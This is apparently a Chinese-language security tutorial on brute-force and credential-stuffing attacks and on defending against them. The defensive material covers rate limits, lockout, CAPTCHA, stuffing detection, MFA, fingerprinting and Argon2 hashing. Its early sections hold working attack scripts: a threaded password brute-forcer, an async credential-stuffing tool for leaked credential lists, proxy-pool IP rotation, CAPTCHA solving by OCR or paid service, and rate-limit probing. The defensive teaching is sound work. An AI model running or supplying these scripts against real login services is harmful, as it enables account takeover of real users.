一、攻击类型对比

1.1 暴力破解 vs 撞库

暴力破解(Brute Force):
  猜测密码 → 尝试所有可能的密码组合
  针对单个或少数账号
  防御方式:强密码 + 速率限制

撞库(Credential Stuffing):
  用泄露的用户名:密码对 → 尝试登录大量账号
  攻击者知道某些用户名和密码是有效的(从其他网站泄露)
  防御方式:检测异常登录模式 + 多因素认证 + 密码复用检测

1.2 攻击规模

暴力破解:
  每秒几十次尝试 → 目标账户锁定
  每秒几千次尝试 → 需要分布式 + 代理池 + 验证码绕过

撞库:
  10万条泄露数据 × 目标站点的有效率 = 可能几千账号被盗
  通常用分布式 botnet,每秒几万次请求
  更难防御,因为密码本身是对的!

二、攻击工具解析

2.1 Burp Suite Intruder

Burp Suite Intruder 模块支持:
- 字典攻击(Sniper 模式)
- 组合攻击(Cluster Bomb / Pitchfork)
- 递归搜索(Battering Ram)
- 配置 payload 类型:字典、数字、用户名列表、邮箱列表
- 结果过滤器:响应长度、关键词、状态码、延迟差异

命令行工具:
  burpsuite --intruder-config config.json

2.2 分布式暴力破解脚本

import requests
import threading
from queue import Queue
from concurrent.futures import ThreadPoolExecutor

TARGET_LOGIN = 'https://example.com/login'
USERNAME = 'admin'
PASSWORD_WORDLIST = '/path/to/rockyou.txt'

class BruteForcer:
    def __init__(self, target: str, username: str, wordlist: str, threads: int = 50):
        self.target = target
        self.username = username
        self.passwords = self._load_wordlist(wordlist)
        self.threads = threads
        self.found = threading.Event()
        self.found_password = None
        self.tried = 0
        self.lock = threading.Lock()

    def _load_wordlist(self, path: str) -> list:
        with open(path, 'r', encoding='utf-8', errors='ignore') as f:
            return [line.strip() for line in f if line.strip()]

    def _try_password(self, password: str) -> bool:
        if self.found.is_set():
            return False

        data = {'username': self.username, 'password': password}

        try:
            resp = requests.post(self.target, data=data, timeout=10)

            # 根据实际响应判断
            if resp.status_code == 200 and '登录成功' in resp.text:
                with self.lock:
                    if not self.found.is_set():
                        self.found_password = password
                        self.found.set()
                return True

            elif resp.status_code == 429:
                # 被限速了,等一会
                import time
                time.sleep(2)

        except requests.exceptions.RequestException as e:
            pass

        with self.lock:
            self.tried += 1
            if self.tried % 100 == 0:
                print(f"[*] Tried {self.tried}/{len(self.passwords)}...")

        return False

    def run(self):
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            futures = []
            for pw in self.passwords:
                if self.found.is_set():
                    break
                futures.append(executor.submit(self._try_password, pw))

            for future in futures:
                if self.found.is_set():
                    break
                future.result()

        if self.found_password:
            print(f"
[+] FOUND! Password for '{self.username}': {self.found_password}")
        else:
            print(f"
[-] Password not found in {len(self.passwords)} wordlist")

if __name__ == '__main__':
    bf = BruteForcer(TARGET_LOGIN, USERNAME, PASSWORD_WORDLIST, threads=30)
    bf.run()

2.3 撞库脚本

import asyncio
import aiohttp
from aiohttp import TCPConnector

class CredentialStuffer:
    def __init__(self, target: str, credentials_file: str, concurrency: int = 100):
        self.target = target
        self.credentials = self._load_credentials(credentials_file)
        self.concurrency = concurrency
        self.results = {'success': [], 'fail': 0, 'errors': 0}

    def _load_credentials(self, path: str) -> list:
        """加载 user:password 格式的撞库数据"""
        creds = []
        with open(path, 'r', encoding='utf-8', errors='ignore') as f:
            for line in f:
                line = line.strip()
                if ':' in line:
                    user, password = line.split(':', 1)
                    creds.append((user, password))
        return creds

    async def _login(self, session: aiohttp.ClientSession, username: str, password: str, sem: asyncio.Semaphore):
        async with sem:
            try:
                async with session.post(
                    self.target,
                    json={'username': username, 'password': password},
                    timeout=aiohttp.ClientTimeout(total=10),
                ) as resp:
                    body = await resp.text()

                    # 撞库成功的特征:响应结构变化 / 跳转到 dashboard
                    if resp.status == 200 and ('dashboard' in body.lower() or 'welcome' in body.lower()):
                        self.results['success'].append({
                            'username': username,
                            'password': password,
                        })
                        print(f"[+] HIT: {username}:{password}")
                    else:
                        self.results['fail'] += 1

            except Exception as e:
                self.results['errors'] += 1

    async def run(self):
        sem = asyncio.Semaphore(self.concurrency)
        connector = TCPConnector(limit=self.concurrency)

        async with aiohttp.ClientSession(connector=connector) as session:
            tasks = []
            for username, password in self.credentials:
                tasks.append(self._login(session, username, password, sem))
            await asyncio.gather(*tasks)

        print(f"
[*] Results:")
        print(f"    Total tried: {len(self.credentials)}")
        print(f"    Hits: {len(self.results['success'])}")
        print(f"    Errors: {self.results['errors']}")

asyncio.run(CredentialStuffer(TARGET_LOGIN, CREDENTIALS_FILE, concurrency=200).run())

三、暴力破解绕过技巧

3.1 分布式 + 代理池

# 使用代理池轮换 IP,避免单 IP 被封
PROXY_POOL = [
    'http://proxy1:port',
    'http://proxy2:port',
    'socks5://proxy3:port',
]

def get_random_proxy() -> dict:
    import random
    proxy = random.choice(PROXY_POOL)
    return {'http': proxy, 'https': proxy}

def try_login_with_proxy(username: str, password: str) -> bool:
    try:
        resp = requests.post(
            TARGET,
            json={'username': username, 'password': password},
            proxies=get_random_proxy(),
            timeout=5,
        )
        return 'dashboard' in resp.url
    except:
        return False

3.2 验证码绕过

# 方案1:OCR 识别简单验证码
import pytesseract
from PIL import Image
import io

def solve_captcha(image_bytes: bytes) -> str:
    img = Image.open(io.BytesIO(image_bytes))
    # 预处理:灰度化、二值化、去噪
    img = img.convert('L')
    img = img.point(lambda x: 0 if x < 128 else 255)
    return pytesseract.image_to_string(img, config='--psm 7').strip()

# 方案2:第三方打码平台 API
def solve_with_2captcha(image_base64: str) -> str:
    """使用 2captcha 服务绕过验证码"""
    resp = requests.post('https://2captcha.com/in.php', data={
        'key': 'your_api_key',
        'method': 'base64',
        'body': image_base64,
        'json': 1,
    })
    task_id = resp.json()['request']

    # 轮询等待结果
    for _ in range(30):
        time.sleep(1)
        r = requests.get('https://2captcha.com/res.php', params={
            'key': 'your_api_key',
            'action': 'get',
            'id': task_id,
            'json': 1,
        })
        if r.json()['status'] == 1:
            return r.json()['request']

    return None

3.3 分阶段速率限制探测

# 攻击者可以测试出每个账户/IP 的限速阈值
def find_rate_limit_threshold(target: str, username: str) -> int:
    """找到触发限速的最小尝试次数"""
    for attempt_count in range(1, 50):
        session = requests.Session()
        blocked = False

        for i in range(attempt_count):
            resp = session.post(target, json={
                'username': username,
                'password': f'wrong_pass_{i}',
            })
            if resp.status_code == 429:
                blocked = True
                break

        if blocked:
            print(f"[*] Rate limit kicks in at {attempt_count} attempts per session")
            return attempt_count

    print("[*] No rate limit detected up to 50 attempts")
    return 50

四、防御策略一:基础速率限制

4.1 基于 IP 的速率限制

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app=app,
    key_func=get_remote_address,  # 按 IP 限流
    default_limits=["200 per day", "50 per hour"],
    storage_uri="redis://localhost:6379",
)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")  # 登录接口特殊限流
def login():
    # ...

4.2 基于账户的速率限制(更重要)

# 🔑 不能只按 IP 限流(攻击者用代理池绕过)
# 必须按 IP + 目标用户名 组合限流

def get_login_limit_key():
    username = request.json.get('username', '')
    ip = request.remote_addr
    # 按 "IP + username" 组合做细粒度限速
    return f"{ip}:{username}"

# 登录接口:5次/分钟/IP-用户名 组合
@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute", key_func=get_login_limit_key)
def login():
    # ...

4.3 分级限速策略

class AdaptiveRateLimiter:
    """自适应速率限制:失败次数越多,等待时间越长"""

    def __init__(self, redis_client):
        self.redis = redis_client
        self.max_attempts = 5
        self.lockout_durations = [60, 300, 1800, 3600, 86400]  # 1分钟→5分钟→30分钟→1小时→24小时

    def check(self, username: str, ip: str) -> tuple[bool, int]:
        """返回 (是否允许, 剩余锁定秒数)"""
        key = f'login_attempts:{username}'
        attempts = int(self.redis.get(key) or 0)

        if attempts >= self.max_attempts:
            lock_key = f'login_lock:{username}'
            ttl = self.redis.ttl(lock_key)
            if ttl > 0:
                return False, ttl

        return True, 0

    def record_failure(self, username: str, ip: str):
        key = f'login_attempts:{username}'
        attempts = int(self.redis.incr(key))
        self.redis.expire(key, 86400)  # 24小时重置

        # 超过阈值后锁定账号
        if attempts >= self.max_attempts:
            level = min(attempts - self.max_attempts, len(self.lockout_durations) - 1)
            lockout_duration = self.lockout_durations[level]

            lock_key = f'login_lock:{username}'
            self.redis.setex(lock_key, lockout_duration, 'locked')

            # 同时记录 IP,识别攻击来源
            self.redis.sadd('blocked_ips', ip)

    def record_success(self, username: str):
        # 登录成功后清除计数
        self.redis.delete(f'login_attempts:{username}')
        self.redis.delete(f'login_lock:{username}')

五、防御策略二:验证码(CAPTCHA)

5.1 分级验证码策略

def should_require_captcha(username: str, ip: str, session_count: int) -> bool:
    """判断当前请求是否需要验证码"""
    redis = get_redis()

    # 情况1:该 IP 失败次数 >= 3
    ip_failures = redis.get(f'login_failures:ip:{ip}') or 0
    if int(ip_failures) >= 3:
        return True

    # 情况2:该账户失败次数 >= 2
    user_failures = redis.get(f'login_failures:user:{username}') or 0
    if int(user_failures) >= 2:
        return True

    # 情况3:同一 IP 短时间请求频率过高
    recent_count = redis.get(f'login_recent:{ip}') or 0
    if int(recent_count) >= 10:  # 1分钟内 10+ 次
        return True

    # 情况4:新设备 / 新 IP 登录
    known_ips = redis.smembers(f'known_ips:{username}')
    if known_ips and ip not in known_ips:
        return True

    return False

@app.route('/login', methods=['POST'])
def login():
    username = request.json.get('username')
    password = request.json.get('password')
    captcha_token = request.json.get('captcha_token')

    # 判断是否需要验证码
    if should_require_captcha(username, request.remote_addr, request.session_count):
        if not captcha_token or not verify_captcha(captcha_token):
            return jsonify({'error': 'captcha required or invalid'}), 400

    # 继续正常登录逻辑...

5.2 滑块验证码后端校验

import hmac
import hashlib
import time
import json

def generate_slide_captcha() -> dict:
    """生成滑块验证码"""
    secret = 'captcha_signing_secret'
    target_x = random.randint(80, 200)  # 目标位置
    timestamp = int(time.time())

    payload = json.dumps({
        'tx': target_x,
        'ts': timestamp,
        'expires': timestamp + 300,
    })

    signature = hmac.new(secret.encode(), payload.encode(), hashlib.sha256).hexdigest()
    token = f"{base64.b64encode(payload.encode()).decode()}.{signature}"

    return {
        'captcha_token': token,
        'target_x_hint': None,  # 前端不需要,这是安全的关键
        'bg_image': generate_captcha_image(),
        'slider_image': generate_slider_piece(target_x),
    }

def verify_slide_captcha(captcha_token: str, user_x: int) -> bool:
    """验证滑块位置"""
    secret = 'captcha_signing_secret'

    try:
        encoded_payload, signature = captcha_token.rsplit('.', 1)
        payload = json.loads(base64.b64decode(encoded_payload))

        # 校验签名
        expected_sig = hmac.new(secret.encode(), encoded_payload.encode(), hashlib.sha256).hexdigest()
        if not hmac.compare_digest(expected_sig, signature):
            return False

        # 校验时效
        if payload['expires'] < time.time():
            return False

        # 校验位置(允许 ±5px 误差)
        target_x = payload['tx']
        if abs(user_x - target_x) > 5:
            return False

        return True

    except Exception:
        return False

六、防御策略三:撞库检测

6.1 撞库行为特征

撞库的典型特征:
1. 短时间内尝试大量不同用户名的登录
2. 每个用户名只尝试 1-2 个密码(因为撞库数据中密码是对的)
3. 登录失败比例极高(>95%)
4. 来自同一批 IP 段 / 代理池
5. 无正常用户行为(没有先访问注册页、忘记密码页等)

6.2 撞库检测引擎

from collections import defaultdict
import time

class CredentialStuffingDetector:
    def __init__(self, redis_client):
        self.redis = redis_client
        self.config = {
            'window': 300,              # 5 分钟窗口
            'max_distinct_users': 100,  # 窗口内尝试的不同用户名上限
            'max_fail_rate': 0.9,       # 失败率上限(超过则判定撞库)
            'min_attempts': 50,         # 最小尝试次数
        }

    def record_attempt(self, ip: str, username: str, success: bool):
        pipe = self.redis.pipeline()
        window_start = int(time.time())

        # 该 IP 在窗口内尝试过的用户名集合
        pipe.sadd(f'login_attempts:{ip}:{window_start // self.config["window"]}', username)
        pipe.expire(f'login_attempts:{ip}:{window_start // self.config["window"]}', self.config['window'] + 60)

        # 成功/失败计数
        key = f'login_stats:{ip}:{window_start // self.config["window"]}'
        if success:
            pipe.hincrby(key, 'success', 1)
        else:
            pipe.hincrby(key, 'fail', 1)
        pipe.expire(key, self.config['window'] + 60)

        pipe.execute()

    def is_credential_stuffing(self, ip: str) -> bool:
        current_window = int(time.time()) // self.config['window']
        key = f'login_stats:{ip}:{current_window}'
        set_key = f'login_attempts:{ip}:{current_window}'

        stats = self.redis.hgetall(key)
        distinct_users = self.redis.scard(set_key)

        total = int(stats.get(b'success', 0)) + int(stats.get(b'fail', 0))
        if total < self.config['min_attempts']:
            return False

        fail_rate = int(stats.get(b'fail', 0)) / total
        is_attack = (
            fail_rate > self.config['max_fail_rate']
            and distinct_users > self.config['max_distinct_users']
        )

        if is_attack:
            self.redis.sadd('attacker_ips', ip)

        return is_attack

    def block_if_detected(self, ip: str) -> bool:
        """如果检测到撞库,临时封禁 IP"""
        if self.is_credential_stuffing(ip):
            self.redis.setex(f'ip_blocked:{ip}', 3600, 'credential_stuffing')
            return True
        return False

七、防御策略四:多因素认证(MFA)

7.1 TOTP(基于时间的一次性密码)

import pyotp

def setup_totp(user_id: str) -> dict:
    """为用户配置 TOTP"""
    secret = pyotp.random_base32()
    totp = pyotp.TOTP(secret)

    # 生成二维码链接(用 Google Authenticator / Authy 扫描)
    provisioning_uri = totp.provisioning_uri(
        name=f"user{user_id}@example.com",
        issuer_name="Example App",
    )

    # 存储 secret(加密存储!)
    encrypted_secret = encrypt(secret)
    store_encrypted(user_id, encrypted_secret)

    return {
        'secret': secret,  # 仅展示一次
        'qr_code_uri': provisioning_uri,
    }

def verify_totp(user_id: str, otp: str) -> bool:
    """验证 TOTP 代码"""
    encrypted_secret = get_encrypted(user_id)
    secret = decrypt(encrypted_secret)
    totp = pyotp.TOTP(secret)

    # 允许 ±1 个时间步长的偏差
    return totp.verify(otp, valid_window=1)

7.2 分级 MFA 触发

def should_require_mfa(user: User, request) -> bool:
    """判断当前登录是否需要 MFA"""

    # 情况 1:新设备 / 新 IP 登录
    device_fingerprint = get_device_fingerprint(request)
    known_devices = user.known_devices  # 用户已信任的设备
    if device_fingerprint not in known_devices:
        return True

    # 情况 2:地理位置突变
    current_location = geolocate(request.remote_addr)
    last_login_location = user.last_login_location
    if last_login_location and not is_geo_near(current_location, last_login_location):
        return True

    # 情况 3:敏感操作
    if request.endpoint in SENSITIVE_OPERATIONS:
        return True

    # 情况 4:用户开启了始终 MFA
    if user.require_mfa_always:
        return True

    return False

SENSITIVE_OPERATIONS = [
    'change_password',
    'change_email',
    'transfer_funds',
    'export_data',
    'change_mfa_settings',
    'admin_console',
]

八、防御策略五:设备指纹与行为分析

8.1 设备指纹采集(前端)

async function collectDeviceFingerprint() {
  const components = {
    // 硬件信息
    hardwareConcurrency: navigator.hardwareConcurrency,
    deviceMemory: navigator.deviceMemory,
    screenWidth: screen.width,
    screenHeight: screen.height,
    colorDepth: screen.colorDepth,
    pixelRatio: window.devicePixelRatio,

    // 软件信息
    userAgent: navigator.userAgent,
    language: navigator.language,
    timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
    platform: navigator.platform,
    vendor: navigator.vendor,

    // 字体列表(Canvas 指纹)
    fonts: getFontFingerprint(),

    // Canvas 指纹
    canvas: getCanvasFingerprint(),

    // WebGL 指纹
    webgl: getWebGLFingerprint(),

    // 其他
    doNotTrack: navigator.doNotTrack,
    cookiesEnabled: navigator.cookieEnabled,
    plugins: Array.from(navigator.plugins).map(p => p.name),
  };

  // 计算指纹 hash
  const hashInput = JSON.stringify(components);
  const hashBuffer = await crypto.subtle.digest('SHA-256', new TextEncoder().encode(hashInput));
  const hashArray = Array.from(new Uint8Array(hashBuffer));
  const fingerprint = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');

  return fingerprint;
}

8.2 异常行为分析(服务端)

from datetime import datetime

class BehaviorAnalyzer:
    def __init__(self, redis_client):
        self.redis = redis_client

    def calculate_risk_score(self, user: User, ip: str, fingerprint: str, request) -> float:
        """计算本次登录的风险分数(0-100,越高越危险)"""
        risk = 0.0

        # 因素1: IP 信誉
        ip_reputation = self._get_ip_reputation(ip)  # 0-100
        risk += ip_reputation * 0.3

        # 因素2: 设备是否已知
        known_devices = self.redis.smembers(f'known_devices:{user.id}')
        if fingerprint not in known_devices:
            risk += 25  # 新设备

        # 因素3: 地理位置
        current_geo = self._geolocate(ip)
        last_geo = user.last_login_geo
        if last_geo and not self._geo_near(current_geo, last_geo):
            distance = self._geo_distance(current_geo, last_geo)
            if distance > 1000:  # 超过 1000km
                risk += 30

        # 因素4: 时间模式
        current_hour = datetime.now().hour
        usual_hours = user.usual_active_hours  # [9, 10, 11, 14, 15, 16, 17]
        if current_hour not in usual_hours:
            risk += 15

        # 因素5: 账号特征
        if user.failed_logins_24h > 5:
            risk += 20
        if not user.email_verified:
            risk += 10

        # 封顶
        return min(risk, 100)

    def decide_action(self, risk_score: float) -> str:
        """根据风险分数决定防御动作"""
        if risk_score >= 80:
            return 'block'      # 直接拒绝
        elif risk_score >= 50:
            return 'require_mfa'  # 强制 MFA
        elif risk_score >= 30:
            return 'notify'       # 允许但通知用户
        else:
            return 'allow'        # 正常放行

九、密码安全策略

9.1 密码强度验证

import re

def validate_password(password: str, username: str) -> dict:
    """验证密码强度,返回 {valid: bool, score: int, issues: list}"""
    issues = []
    score = 0

    # 长度
    if len(password) < 12:
        issues.append('password too short (min 12 chars)')
    elif len(password) >= 16:
        score += 3

    # 大写字母
    if re.search(r'[A-Z]', password):
        score += 1
    else:
        issues.append('no uppercase letter')

    # 小写字母
    if re.search(r'[a-z]', password):
        score += 1
    else:
        issues.append('no lowercase letter')

    # 数字
    if re.search(r'[0-9]', password):
        score += 1
    else:
        issues.append('no digit')

    # 特殊字符
    if re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        score += 2
    else:
        issues.append('no special character')

    # 不能包含用户名
    if username and username.lower() in password.lower():
        issues.append('password contains username')
        score -= 2

    # 不能是已知弱密码
    if is_known_weak_password(password):
        issues.append('password found in known breach databases')
        score -= 5

    # 检查密码泄露(HaveIBeenPwned API)
    if is_password_pwned(password):
        issues.append('password appears in data breaches (haveibeenpwned.com)')
        score -= 10

    # 长度加分
    if len(password) >= 20:
        score += 2

    return {
        'valid': len(issues) == 0 and score >= 5,
        'score': max(0, min(10, score)),
        'issues': issues,
    }

def is_password_pwned(password: str) -> bool:
    """检查密码是否在 HaveIBeenPwned 泄露数据库中"""
    import hashlib
    import requests

    sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
    prefix, suffix = sha1[:5], sha1[5:]

    resp = requests.get(f'https://api.pwnedpasswords.com/range/{prefix}')
    if resp.status_code != 200:
        return False

    return suffix in resp.text

9.2 密码哈希(不要用 MD5/SHA,要用 bcrypt/Argon2)

import argon2

hasher = argon2.PasswordHasher(
    time_cost=3,          # 迭代次数
    memory_cost=65536,    # 64MB 内存
    parallelism=4,        # 并行度
    hash_len=32,          # 输出长度
    type=argon2.Type.ID,  # Argon2id(推荐,抗侧信道 + 抗 GPU)
)

def hash_password(password: str) -> str:
    return hasher.hash(password)

def verify_password(password: str, hashed: str) -> bool:
    try:
        hasher.verify(hashed, password)
        return True
    except argon2.exceptions.VerifyMismatchError:
        return False

十、防御体系全景

┌─────────────────────────────────────────────────────────┐
│                    攻击防御分层                          │
├─────────────────────────────────────────────────────────┤
│  Layer 1: 网关层                                        │
│  - IP 黑名单 / 声誉检测                                 │
│  - DDoS 防护                                            │
│  - TLS + 证书透明                                       │
├─────────────────────────────────────────────────────────┤
│  Layer 2: 应用层                                        │
│  - 速率限制(IP + 用户名组合)                          │
│  - 渐进式锁定(5→10→30分钟)                            │
│  - 分级验证码(滑动/点选/计算)                         │
├─────────────────────────────────────────────────────────┤
│  Layer 3: 智能风控                                      │
│  - 设备指纹 + 行为分析                                  │
│  - 撞库检测引擎                                         │
│  - 风险评分 → block / MFA / notify                      │
├─────────────────────────────────────────────────────────┤
│  Layer 4: 凭证安全                                      │
│  - 强密码策略 + Pwned 检测                              │
│  - Argon2 哈希存储                                      │
│  - MFA(TOTP / WebAuthn / SMS + 备份码)                │
│  - 会话绑定 + 异常告警                                  │
└─────────────────────────────────────────────────────────┘

十一、审计清单

  • 登录接口是否有限速(IP + 用户名双维度)
  • 是否实现了渐进式锁定策略
  • 是否有验证码分级触发机制
  • 是否检测撞库行为(失败率 + 用户名多样性)
  • 是否启用了 Argon2/bcrypt 密码哈希
  • 是否集成了 HaveIBeenPwned 密码检查
  • 是否支持 MFA(且对新设备强制)
  • 是否有设备指纹和风险评分系统
  • 是否有 IP 声誉服务集成
  • 是否有登录异常告警机制

十二、总结

暴力破解和撞库攻击的核心区别在于:暴力破解是猜你不知道的密码,撞库是用已知对的密码尝试你的账号。防御思路也因此不同:

  • 防暴力破解:让"猜"变难——限速、锁定、验证码、强密码策略
  • 防撞库:让"对的密码"也不能直接登录——撞库检测、设备指纹、MFA

现代防御不再是单一技术,而是多层级、自适应、基于风险的综合体系

十三、参考资料

  • OWASP Authentication Cheat Sheet
  • NIST SP 800-63B: Digital Identity Guidelines
  • HaveIBeenPwned API
  • argon2 reference implementation
  • Cloudflare Turnstile / hCaptcha / reCAPTCHA v3
  • OWASP Credential Stuffing Prevention Cheat Sheet